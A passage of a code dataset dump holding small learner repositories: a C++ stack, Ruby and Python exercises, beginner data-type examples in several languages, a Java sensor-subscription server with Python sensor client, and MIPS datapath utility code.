"d3de1a0bcd5068af51e7514529666afad6bf141a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 738, "license_type": "no_license", "max_line_length": 32, "num_lines": 70, "path": "/c++/C++ Basics/32Stack.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#include <cstddef>\n#include \"32Stack.h\"\n\nusing namespace std;\nusing namespace myStack;\n\n\nnamespace myStack\n{\n\tStack::Stack(int size)\n\t{\n\t\tmaxStack = size;\n\t\temptyStack = -1;\n\t\ttop = emptyStack;\n\t\titems = new char[maxStack];\n\t}\n\n\tStack::~Stack()\n\t{\n\t\tdelete [] items;\n\t}\n\n\tvoid Stack::push(char c)\n\t{\n\t\titems[++top] = c;\n\t}\n\n\tchar Stack::pop()\n\t{\n\t\treturn items[top--];\n\t}\n\n\tint Stack::full()\n\t{\n\t\treturn (top+1 == maxStack);\n\t}\n\n\tint Stack::empty()\n\t{\n\t\treturn top == emptyStack;\n\t}\n\n}\n\n\nint main()\n{\n\tusing namespace myStack;\n\n\tStack s(10);\n\tchar ch;\n\n\twhile((ch = cin.get()) != '\\n')\n\t{\n\t\tif(!s.full())\n\t\t{\n\t\t\ts.push(ch);\n\t\t}\n\t}\n\n\twhile(!s.empty())\n\t{\n\t\tcout << s.pop() << endl;\n\t}\n\n\treturn 0;\n\n}\n" }, { "alpha_fraction": 0.6199377179145813, "alphanum_fraction": 0.644859790802002, "avg_line_length": 12.375, "blob_id": "5692049ab1debb8eca5e917449a3a33f5b48b1d2", "content_id": "d804a1671d289455b901786df03bb9f028a597f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 321, "license_type": "no_license", "max_line_length": 33, "num_lines": 24, "path": "/ruby/The Hard Way/09Functions.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def puts_two(*args)\n arg1, arg2 = args\n puts \"a1: #{arg1}, a2: #{arg2}\"\nend\n\nputs_two('kartik', 'talwar')\n\ndef print_all(f)\n puts f.read()\nend\n\ndef rewind(f)\n f.seek(0, IO::SEEK_SET)\nend\n\ncurrent_file = File.open('a.txt')\nprint_all(current_file)\nrewind(current_file)\n\ndef square(n)\n return n * n\nend\n\nputs square(3)\n" }, { "alpha_fraction": 0.6176983714103699, "alphanum_fraction": 0.6512641906738281, "avg_line_length": 36.59016418457031, "blob_id": "0c8cad1b4b6298e60a0db0219426d0ad3135d6c6", "content_id": "28756743f52f824bfa4634961856b3d9d6804589", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2294, "license_type": "no_license", "max_line_length": 153, "num_lines": 61, "path": "/random/contests/Facebook HackerCup/BeautifulStrings.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "\"\"\"\nBeautiful Strings\n\nWhen John was a little kid he didn't have much to do. There was no internet, no Facebook,\nand no programs to hack on. So he did the only thing he could... he evaluated the beauty \nof strings in a quest to discover the most beautiful string in the world.\n\nGiven a string s, little Johnny defined the beauty of the string as the sum of the beauty \nof the letters in it.\n\nThe beauty of each letter is an integer between 1 and 26, inclusive, and no two letters\nhave the same beauty. Johnny doesn't care about whether letters are uppercase or lowercase,\nso that doesn't affect the beauty of a letter. \n(Uppercase 'F' is exactly as beautiful as lowercase 'f', for example.)\n\nYou're a student writing a report on the youth of this famous hacker. You found the string \nthat Johnny considered most beautiful. What is the maximum possible beauty of this string?\n\n\nInput\nThe input file consists of a single integer m followed by m lines.\n\nOutput\nYour output should consist of, for each test case, a line containing the string \"Case #x: y\" \nwhere x is the case number (with 1 being the first case in the input file, 2 being the second, etc.)\n and y is the maximum beauty for that test case.\n\nConstraints\n5 <= m <= 50\n2 <= length of s <= 500\n\n\n Example input Example output\n\n5\nABbCcc Case #1: 152\nGood luck in the Facebook Hacker Cup this year! Case #2: 754\nIgnore punctuation, please :) Case #3: 491\nSometimes test cases are hard to make up. Case #4: 729\nSo I just go consult Professor Dalves Case #5: 646\n\n\"\"\"\n\nimport re, operator, urllib2\n\n\ndef getScore(s):\n s = re.sub('[^A-Za-z]', '', s).lower()\n total, x, d = 0, 26, {}\n d.update({j: s.count(j) for j in s})\n data = sorted(d.iteritems(), key=operator.itemgetter(1))[::-1]\n\n for i in data:\n total += i[1] * x\n x -= 1\n\n return total\n\n\nfile = urllib2.urlopen('https://gist.github.com/raw/4647356/f490a1df2ccda25553c70086205e38fc7e53647e/FBHackerCupBeautifulStrings.txt').read().split('\\n')\nopen('output.txt', 'w').write( \"\\n\".join( [(\"Case #%d: %d\" % (i, getScore(file[i]))) for i in range(1, len(file))][:-1]))\n\n" }, { "alpha_fraction": 0.6226415038108826, "alphanum_fraction": 0.6226415038108826, "avg_line_length": 20.299999237060547, "blob_id": "5995fa357c41410dd7b596f804af2812f7e40d63", "content_id": "705612a36a91c1e6368e1a7b8635a40ab2c1d210", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 212, "license_type": "no_license", "max_line_length": 43, "num_lines": 10, "path": "/cmd/UninstallingPackages.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "## Uninstalling rpm packages\n====================================\n\n**Remove package and dependencies**\n\n\tsudo rpm -ev package_name\n\n**Remove package without dependency check**\n\n\tsudo rpm -ev --nodeps package_name" }, { "alpha_fraction": 0.6184210777282715, "alphanum_fraction": 0.6644737124443054, "avg_line_length": 20.714284896850586, "blob_id": "dc66c8db233355c6d88268247057b33a63fab377", "content_id": "c4da84e7942740fa30029d74505fecc6e9b427d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 304, "license_type": "no_license", "max_line_length": 45, "num_lines": 14, "path": "/ruby/02Arrays.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "newlist = [\"Hello\", \"World\", 5, 2.763]\nlist2 = [1,1,1] + [\"bacon\", \"bacon\", \"bacon\"]\nkeyvalue = {\"mykey\" => \"value\", \"key2\" => 5}\n\nnewlist << \"Kartik\"\nlist2.<<(\"Talwar\")\n\nputs newlist[0]\nputs keyvalue.keys\nputs newlist.reverse\nputs list2.length\nputs keyvalue.empty?\nputs newlist.first\nputs keyvalue.last\n" } ]
119
takeiteasyguy/classes-and-oop
https://github.com/takeiteasyguy/classes-and-oop
442c81db7a9da2f3d793ee690d177af33af354b2
301821237a0be3785a1989e9df385a6b9a5ad45e
8cbce4971808b6e85a9f4cea5870caf643fc470e
refs/heads/master
2020-03-19T08:03:15.117781
2018-06-05T12:10:50
2018-06-05T12:10:50
136,171,751
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5989304780960083, "alphanum_fraction": 0.601307213306427, "avg_line_length": 28.526315689086914, "blob_id": "ae527034d7d5ced2a52a0effeed7ae3023f61bdc", "content_id": "dffbb2e6481cb9aff4c1218556ab8f81b42c2373", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1683, "license_type": "no_license", "max_line_length": 94, "num_lines": 57, "path": "/main.py", "repo_name": "takeiteasyguy/classes-and-oop", "src_encoding": "UTF-8", "text": "NO_STUDENTS = \"There is no students for this teacher\"\n\n\nclass Person(object):\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return \"My name is %s\" % self.name\n\n\nclass Student(Person):\n def __init__(self, name, group):\n super(Student, self).__init__(name)\n self.group = group\n\n def __str__(self):\n return \"My name is %s and I'm from %s group\" % (self.name, self.group)\n\n def print_group(self):\n return \"My group is %s\" % self.group\n\n\nclass Teacher(Person):\n def __init__(self, name):\n super(Teacher, self).__init__(name)\n self.students = []\n\n def add_student(self, student):\n self.students.append(student)\n\n def remove_student(self, student):\n for current_student in self.students:\n if student.name == current_student.name:\n self.students.remove(current_student)\n\n def __str__(self):\n return \"My name is %s and my students are:\\n%s\" % (self.name, self.get_all_students())\n\n def get_all_students(self):\n if self.students:\n return \"\\n\".join(\"%s\" % st for st in self.students)\n else:\n return NO_STUDENTS\n\n\nif __name__ == \"__main__\":\n alice_student = Student(\"Alice\", \"12\")\n bob_student = Student(\"Bob\", \"12\")\n alex_teacher = Teacher(\"Alex\")\n assert alex_teacher.get_all_students() == NO_STUDENTS\n alex_teacher.add_student(alice_student)\n assert alex_teacher.get_all_students() == \"%s\" % alice_student\n alex_teacher.add_student(bob_student)\n print(alex_teacher)\n alex_teacher.remove_student(alice_student)\n assert alex_teacher.get_all_students() == \"%s\" % bob_student\n" } ]
1
ralphprogrammeert/Datastructure
https://github.com/ralphprogrammeert/Datastructure
34e21d8d5b508b2d422dbaaa495ca26c86beaf4b
0b154f427c0edde892884e799af21cddfc1d2d38
726846adf3d9b195d51f6d92bd3e42f2a7ab4e9a
refs/heads/master
2021-01-23T13:16:41.843220
2017-06-09T13:16:00
2017-06-09T13:16:00
93,238,655
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.790123462677002, "alphanum_fraction": 0.7962962985038757, "avg_line_length": 17.11111068725586, "blob_id": "d292a5e6cb73281ddafa978bd2744098bedd841f", "content_id": "20c0516057367b6343e10775e7e28d6e7f9239d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 162, "license_type": "no_license", "max_line_length": 44, "num_lines": 9, "path": "/The Big Three/BigThreeJS.js", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "#int\nvar hoeveelKopjesSuiker = 2\n\n#bool\nvar IsDezePersoonMijnMatch = false\nvar IsDezePersoonMijnMatch = true\n\n#string\nvar spreekwoord= \"De kat op het spek binden\"" }, { "alpha_fraction": 0.7682119011878967, "alphanum_fraction": 0.7748344540596008, "avg_line_length": 15.88888931274414, "blob_id": "e19bc9e92d009af2aeab577c19813f719c9ad37a", "content_id": "20e4bdb5b559d9fc3ae704d1d38fcf30514b7144", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 151, "license_type": "no_license", "max_line_length": 42, "num_lines": 9, "path": "/The Big Three/BigThreeR.r", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "#int\nhoeveelKopjesSuiker <- 2\n\n#bool\nIsDezePersoonMijnMatch <- FALSE\nIsDezePersoonMijnMatch <- TRUE\n\n#string\nspreekwoord <- \"De kat op het spek binden\"" }, { "alpha_fraction": 0.5175096988677979, "alphanum_fraction": 0.8404669165611267, "avg_line_length": 22.454545974731445, "blob_id": "6d3e1670ab66a9e39c25647ebf0d901a66e768c1", "content_id": "dc4dd955501daec7d475fe4f8e97bada24a9e495", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 257, "license_type": "no_license", "max_line_length": 108, "num_lines": 11, "path": "/The Expendables/The Expendables.r", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "#R heeft geen specifieke Long,short of char type\n#Daarom kunnen we zo schrijven\n#short\nhoeveelKopjesSuiker <- 2\n\n#long\nMijnBankRekeningNummer <- 9218021490821904821042982094908129048921048120481290840218490412904980124890124812\n\n\n#char\nVoorletterNaam <- 'r'" }, { "alpha_fraction": 0.7764977216720581, "alphanum_fraction": 0.7834101319313049, "avg_line_length": 26.1875, "blob_id": "3fc144a9195e04e5de9c8fb4eb4cfccf3d9377f7", "content_id": "b2c045a320f248be2e5cd3a59acd00f93f8efa0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 434, "license_type": "no_license", "max_line_length": 96, "num_lines": 16, "path": "/The Big Three/BigThreeCsharp.cs", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "// hier is het eerste voorbeeld strongly typed, wat inhoud dat we expliciet aangeven wat het is.\n// tweede voorbeeld is weakly typed waarbij Csharp zelf uitzoekt wat het moet zijn.\n\n//int\nint hoeveelKopjesSuiker = 2\nvar hoeveelKopjesSuiker2 = 4\n\n\n//bool\nbool IsDezePersoonMijnMatch = false\nvar IsDezePersoonMijnMatch = true\n\n\n//string\nstring spreekwoord = \"De kat op het spek binden\"\nvar spreekwoordvar = \"geen pijl er aan vastknopen\"" }, { "alpha_fraction": 0.7876448035240173, "alphanum_fraction": 0.80694979429245, "avg_line_length": 51, "blob_id": "450f7de197aeb33f9bb786a33999f7b1eca870fc", "content_id": "cf12e94d4136fa6ffb0b1fa3bcfe5e41d0e843d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 259, "license_type": "no_license", "max_line_length": 102, "num_lines": 5, "path": "/Double Trouble/Double Trouble.js", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "//Dit type wordt in javascript een number genoemd. Deze bezit niet een specifieke double of float type\nvar hoeveelKopjesSuiker = 2.2982\n\n// javascript bevat geen specifieke decimal type\n// Het is ook geen goede taal om te gebruiken voor financiele applicaties" }, { "alpha_fraction": 0.6590909361839294, "alphanum_fraction": 0.7651515007019043, "avg_line_length": 12.300000190734863, "blob_id": "6dff418c98231fb795afa6016bbaeed4215e5054", "content_id": "3dd709d738734bb2af65237c44141927869d89ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 132, "license_type": "no_license", "max_line_length": 36, "num_lines": 10, "path": "/Double Trouble/Double Trouble.cs", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "//double\ndouble hoeveelKopjesSuiker = 2.2982d\n\n\n//float\nfloat ikHebZoveelLikes = 2.9890f\n\n\n//decimal\ndecimal SoendaKaartje = 49.95m" }, { "alpha_fraction": 0.41326531767845154, "alphanum_fraction": 0.8469387888908386, "avg_line_length": 18.700000762939453, "blob_id": "5815cb49863b31cf9ce3b6feac226b5946d1a3d3", "content_id": "13f3640e5d8b5161785d58ae97c5dbf391374d78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 196, "license_type": "no_license", "max_line_length": 112, "num_lines": 10, "path": "/The Expendables/The Expendables.cs", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "//double\nlong MijnBankRekeningNummer = 9218021490821904821042982094908129048921048120481290840218490412904980124890124812\n\n\n//float\nshort ikHebZoveelLikes = 102\n\n\n//char\nchar VoorletterNaam = 'r'" }, { "alpha_fraction": 0.7785235047340393, "alphanum_fraction": 0.7852349281311035, "avg_line_length": 15.44444465637207, "blob_id": "74a14099a31419d5cab0c213e05262fd432fc37e", "content_id": "4ba5c3bd7c57f7fba92879ab7b673187ac582b96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 149, "license_type": "no_license", "max_line_length": 41, "num_lines": 9, "path": "/The Big Three/BigThree.py", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "#int\nhoeveelKopjesSuiker = 2\n\n#bool\nIsDezePersoonMijnMatch = false\nIsDezePersoonMijnMatch = true\n\n#string\nspreekwoord = \"De kat op het spek binden\"\n\n" }, { "alpha_fraction": 0.6899224519729614, "alphanum_fraction": 0.751937985420227, "avg_line_length": 25, "blob_id": "1022cd692f54d9a2aa24ef95853a676253913076", "content_id": "5572ea4a285ebcf762c95d73f536f2c9b7f8caef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 129, "license_type": "no_license", "max_line_length": 61, "num_lines": 5, "path": "/The Expendables/The Expendables.py", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "#long ** is speciaal karakter betekend eigenlijk 2 tot de 123\nMijnBankRekeningNummer = 2**123 \n\n#char\nchar VoorletterNaam = 'r'" }, { "alpha_fraction": 0.5263158082962036, "alphanum_fraction": 0.8383458852767944, "avg_line_length": 23.272727966308594, "blob_id": "d3ceaf744a8f4a92343952ea1c9f30735d586ad3", "content_id": "f4071ab3943ad8e846de1ccf16deca5cf0365192", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 266, "license_type": "no_license", "max_line_length": 111, "num_lines": 11, "path": "/The Expendables/The Expendables.js", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "//javasript heeft geen specifieke Long,short\n//Daarom kunnen we zo schrijven\n//short\nvar hoeveelKopjesSuiker = 2\n\n//long\nvar MijnBankRekeningNummer = 9218021490821904821042982094908129048921048120481290840218490412904980124890124812\n\n\n//char\nvar VoorletterNaam = 'r'" }, { "alpha_fraction": 0.6914893388748169, "alphanum_fraction": 0.7765957713127136, "avg_line_length": 18, "blob_id": "c2f8b10d1e80368ca17876b131e68a7f6b076fe4", "content_id": "ed024a95048e602aff6c292ff97534535551d4f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 94, "license_type": "no_license", "max_line_length": 34, "num_lines": 5, "path": "/Double Trouble/Double Trouble.py", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "#python heeft alleen float\nditIsEenfloat = 0.2422\n\n#decimal\nhoeveelKidsHebJe = decimal('1.31')" }, { "alpha_fraction": 0.7361111044883728, "alphanum_fraction": 0.7638888955116272, "avg_line_length": 17.25, "blob_id": "b8806009064d718a33d7721dff5da8e30b03b58a", "content_id": "149ed37f552a801c1e35dfe32402ff27e050e80f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 72, "license_type": "no_license", "max_line_length": 35, "num_lines": 4, "path": "/Double Trouble/Double Trouble.r", "repo_name": "ralphprogrammeert/Datastructure", "src_encoding": "UTF-8", "text": "#double \nhoeveelKopjesSuiker <- 1.5\n\n#R heeft geen float of decimal type" } ]
12
adahn/sieci-1
https://github.com/adahn/sieci-1
e821e5db962b32ed6ee7723ccd29e896b8c16f52
d43c74a0c63cd6e1556ab257827fb45ef332585b
9b4d23661948ac7dea07debe18159c998ef8e299
refs/heads/master
2021-01-10T19:25:34.205439
2012-10-16T14:27:34
2012-10-16T14:27:34
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7001484632492065, "alphanum_fraction": 0.7055913209915161, "avg_line_length": 23.349397659301758, "blob_id": "e8043f94e432cd23ce0225b1bd54f60db58321a1", "content_id": "18a8720c8e319ba66718073a8e52eaeac7c4e911", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 4054, "license_type": "no_license", "max_line_length": 77, "num_lines": 166, "path": "/monitor/src/subscription/Subscription.java", "repo_name": "adahn/sieci-1", "src_encoding": "UTF-8", "text": "package subscription;\n\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.SelectableChannel;\nimport java.nio.channels.SelectionKey;\nimport java.nio.channels.ServerSocketChannel;\nimport java.nio.channels.SocketChannel;\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.Random;\n\nimport sensors.Sensor;\nimport sensors.SensorDataCollector;\nimport sensors.SensorUpdateListener;\n\nimport network.ChannelSelectionHandler;\nimport network.MessageQueue;\n\n/**\n * Klasa zajmująca się dystrybuowaniem pomiarów do zainteresowanych klientów\n * \n * \n */\npublic class Subscription implements ChannelSelectionHandler,\n\t\tSensorUpdateListener {\n\tprivate static int instancesCount = 0;\n\n\tpublic Subscription(MessageQueue messageQueue, Sensor sensor,\n\t\t\tSensorDataCollector collector) {\n\t\tthis.sensor = sensor;\n\t\tthis.id = instancesCount++;\n\t\tthis.messageQueue = messageQueue;\n\t\tthis.collector = collector;\n\n\t\ttry {\n\t\t\tserverChannel = ServerSocketChannel.open();\n\t\t\tboolean bound = false;\n\t\t\twhile (!bound) {\n\t\t\t\ttry {\n\t\t\t\t\t// losuj port pomiedzy 1000, a 65000\n\t\t\t\t\tint port = 1000 + new Random().nextInt(64000);\n\t\t\t\t\tserverChannel.bind(new InetSocketAddress(port));\n\t\t\t\t\tbound = true;\n\t\t\t\t\tthis.port = port;\n\t\t\t\t\tSystem.out.printf(\"Subskrybcja %s:%s na porcie %d\\n\",\n\t\t\t\t\t\t\tsensor.getResource(), sensor.getMetric(), port);\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t// port zajety; próbuj jeszcze raz\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tmessageQueue.registerChannel(serverChannel, this,\n\t\t\t\t\tSelectionKey.OP_ACCEPT);\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t\tSystem.exit(1); // temporary\n\t\t}\n\n\t\tcollector.addSensorUpdateListener(sensor, this);\n\n\t}\n\n\tpublic int getPort() {\n\t\treturn port;\n\t}\n\n\tpublic Sensor getSensor() {\n\t\treturn sensor;\n\t}\n\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\n\t@Override\n\tpublic void onSelected(SelectableChannel channel, int readyOperationsMask) {\n\t\tif ((readyOperationsMask & SelectionKey.OP_ACCEPT) != 0) {\n\t\t\tServerSocketChannel serverChannel = (ServerSocketChannel) channel;\n\t\t\ttry {\n\t\t\t\tSocketChannel socket = serverChannel.accept();\n\t\t\t\tSystem.out.printf(\"New connection from client at %s\\n\", socket\n\t\t\t\t\t\t.getRemoteAddress().toString());\n\n\t\t\t\tclients.add(socket);\n\t\t\t} catch (IOException e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t\tSystem.exit(1); // temporary\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic void onUpdate(Sensor sensor) {\n\t\tString msg = createMessage(sensor);\n\t\tByteBuffer buff = ByteBuffer.wrap(msg.getBytes());\n\t\tIterator<SocketChannel> it = clients.iterator();\n\t\twhile (it.hasNext()) {\n\t\t\ttry {\n\t\t\t\tSocketChannel socket = it.next();\n\t\t\t\tsocket.write(buff);\n\t\t\t} catch (IOException e) {\n\t\t\t\tSystem.out.println(\"Client no longer available\");\n\t\t\t\tit.remove();\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic void onDisconnected(Sensor sensor) {\n\t\tclose();\n\t}\n\n\tprivate String createMessage(Sensor sensor) {\n\t\t// format: #zasob#metryka#timestamp#wartosc#\n\t\treturn String.format(\"#%s#%s#%f#\", sensor.getResource(),\n\t\t\t\tsensor.getMetric(), sensor.getLastMeasurement());\n\t}\n\n\tpublic void close() {\n\t\tif (serverChannel != null) {\n\t\t\tmessageQueue.unregisterChannel(serverChannel);\n\t\t\tserverChannel = null;\n\t\t\tfor (SocketChannel client : clients) {\n\t\t\t\ttry {\n\t\t\t\t\tclient.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t// mały problem - można olać :P\n\t\t\t\t}\n\t\t\t}\n\t\t\tclients.clear();\n\t\t\tcollector.removeSensorListener(sensor, this);\n\t\t}\n\t}\n\n\t/**\n\t * Sprawdza czy skojarzony channel jest prawidlowy. Jezeli nie, to obiekt\n\t * nie nadaje się dłużej do użytku\n\t * \n\t * @return\n\t */\n\tpublic boolean isValid() {\n\t\treturn (serverChannel != null);\n\t}\n\n\t@Override\n\tprotected void finalize() throws Throwable {\n\t\ttry {\n\t\t\tclose();\n\t\t} finally {\n\t\t\tsuper.finalize();\n\t\t}\n\t}\n\n\tprivate ArrayList<SocketChannel> clients = new ArrayList<SocketChannel>();\n\tprivate ServerSocketChannel serverChannel;\n\tprivate MessageQueue messageQueue;\n\tprivate SensorDataCollector collector;\n\tprivate Sensor sensor;\n\tprivate int port;\n\tprivate int id;\n\n}\n" }, { "alpha_fraction": 0.7328431606292725, "alphanum_fraction": 0.75, "avg_line_length": 36.181819915771484, "blob_id": "ed26048bc0ca33f27f96eec1adc8915ce9968779", "content_id": "c659cf313476309ec5d59ae94e41532e13c129f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 408, "license_type": "no_license", "max_line_length": 61, "num_lines": 11, "path": "/start-test.sh", "repo_name": "adahn/sieci-1", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n#java -jar monitor/bin/monitor.jar &\nsleep 1\npython sensor/sensor.py --resource host1 --metric cpu-usage &\npython sensor/sensor.py --resource host1 --metric mem-usage &\npython sensor/sensor.py --resource host1 --metric mem-total &\npython sensor/sensor.py --resource host2 --metric cpu-usage &\npython sensor/sensor.py --resource host2 --metric mem-usage &\nsleep 1\n#java -jar client/bin/client.jar" }, { "alpha_fraction": 0.5910301804542542, "alphanum_fraction": 0.6043516993522644, "avg_line_length": 31.63768196105957, "blob_id": "d895e8309ba2864638093fe07f5e9e42ae06dfa8", "content_id": "cf0016ab96f60c8212ebcab9ed4513d1058f52d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2252, "license_type": "no_license", "max_line_length": 98, "num_lines": 69, "path": "/sensor/sensor.py", "repo_name": "adahn/sieci-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport metrics\nimport socket\nimport time\nimport argparse\n\nBUFFER_SIZE = 2048\nDEFAULT_ADDRESS = '127.0.0.1'\nDEFAULT_PORT = 12087\nDEFAULT_RESOURCE = 'host'\nDEFAULT_METRIC = 'cpu-usage'\n\nMETRICS = {'cpu-usage': lambda: 100 - metrics.cpu_stat.cpu_percents(sample_duration=0.05)['idle'],\n 'mem-usage': lambda: metrics.mem_stat.mem_stats()[0],\n 'mem-total': lambda: metrics.mem_stat.mem_stats()[1]}\n\nclass DataCollector:\n def __init__(self):\n self.readers = []\n\n def addSensor(self, resource, reader):\n self.readers.append((resource, reader))\n\n def collectData(self):\n return map(lambda r: (r[0], r[1]()), self.readers)\n \ndef makemessage(data, resource, metric):\n def joiner(record):\n return '<record>\\n<resource>' + record[0] + '</resource>\\n'\\\n + '<value>' + str(record[1]) + '</value>\\n</record>\\n'\n return '%s#%s#%f' % (resource, metric, data)\n \n\ndef main(monitor_address, monitor_port, resource, metric):\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n s.connect((monitor_address, monitor_port))\n except:\n print 'Unable to connect to %s:%d' % (monitor_address, monitor_port)\n return 1\n print 'Connected to server'\n\n while True:\n try:\n s.send(makemessage(METRICS[metric](), resource, metric))\n except:\n print 'Server is no longer available'\n return 1\n\n time.sleep(1)\n\n print 'Closing'\n s.close()\n\n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Spawns sensor.')\n parser.add_argument('--monitor-address', '-a', type=str, default=DEFAULT_ADDRESS,\n help='address of monitor')\n parser.add_argument('--monitor-port', '-p', type=int, default=DEFAULT_PORT,\n help='port on monitor')\n parser.add_argument('--resource', '-r', type=str, default=DEFAULT_RESOURCE,\n help='resource name')\n parser.add_argument('--metric', '-m', type=str, default=DEFAULT_METRIC,\n help='metric name', choices=METRICS.keys())\n args = parser.parse_args()\n main(args.monitor_address, args.monitor_port, args.resource, args.metric)\n" } ]
3
AntLouiz/DatapathWay
https://github.com/AntLouiz/DatapathWay
2634f4501fd7bf2849e93fe7b20c346af8208f9e
2f889f0dcd14af071930ca6bc7d2b26fea614023
5a4caed552fa10ffbcb06cae24e1f836987f0889
refs/heads/master
2021-05-14T13:31:14.126504
2018-02-03T12:16:01
2018-02-03T12:16:01
116,440,940
2
0
null
2018-01-06T00:37:46
2018-01-19T16:59:10
2018-01-26T01:55:50
Python
[ { "alpha_fraction": 0.3085714280605316, "alphanum_fraction": 0.5142857432365417, "avg_line_length": 18.44444465637207, "blob_id": "c88fa75679b070ed3fe1cac3245b7f1ad8fa23ef", "content_id": "da20cb887faa247b2276758b7bf5601cbf8f97ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 176, "license_type": "no_license", "max_line_length": 36, "num_lines": 9, "path": "/li.py", "repo_name": "AntLouiz/DatapathWay", "src_encoding": "UTF-8", "text": "# Intruçoes que o programa reconhece\nFUNCTIONS = {\n '101011': 'sw',\n '100011': 'lw',\n '100000': 'add',\n '100010': 'sub',\n '100101': 'or',\n '100100': 'and'\n}\n" }, { "alpha_fraction": 0.5884808301925659, "alphanum_fraction": 0.6010016798973083, "avg_line_length": 20.799999237060547, "blob_id": "f18598764fbda3498904c8cd87d204be34eb77ab", "content_id": "7ece3ccd724cc43e33f2fa9513e1b4990a8c60da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1198, "license_type": "no_license", "max_line_length": 50, "num_lines": 55, "path": "/utils.py", "repo_name": "AntLouiz/DatapathWay", "src_encoding": "UTF-8", "text": "def to_integer(binary_number):\n if not isinstance(binary_number, str):\n raise Exception()\n\n return int(binary_number, 2)\n\n\ndef to_binary(number):\n if not isinstance(number, int):\n raise Exception()\n\n return \"{:0b}\".format(number)\n\n\ndef extend_to_bits(binary_number, bits = 32):\n if not isinstance(binary_number, str):\n return None\n\n number_length = len(binary_number)\n\n result = bits - number_length\n\n zero_fill = \"0\" * result\n\n return \"{}{}\".format(zero_fill, binary_number)\n\n\ndef to_binaryC2(number, bits = 32):\n if not isinstance(number, int):\n raise Exception()\n\n if number >= 0 :\n number = to_binary(number)\n number = extend_to_bits(number, bits)\n return number\n else:\n number = 2**bits + number\n number = to_binary(number)\n number = extend_to_bits(number, bits)\n return number\n\n\ndef to_decimalC2(binary_number):\n if not isinstance(binary_number, str):\n return None \n\n bits = len(binary_number)\n\n decimal = int(binary_number, 2)\n\n if binary_number[0] == '0':\n return decimal \n else:\n decimal = - (2**bits) + decimal\n return decimal" }, { "alpha_fraction": 0.46794870495796204, "alphanum_fraction": 0.4981684982776642, "avg_line_length": 17.827587127685547, "blob_id": "629675bf3dddcdb2636ec0d917bba677de9f726c", "content_id": "5042aa4a3091c461e40c53b224b3ecf4e40a6f86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1092, "license_type": "no_license", 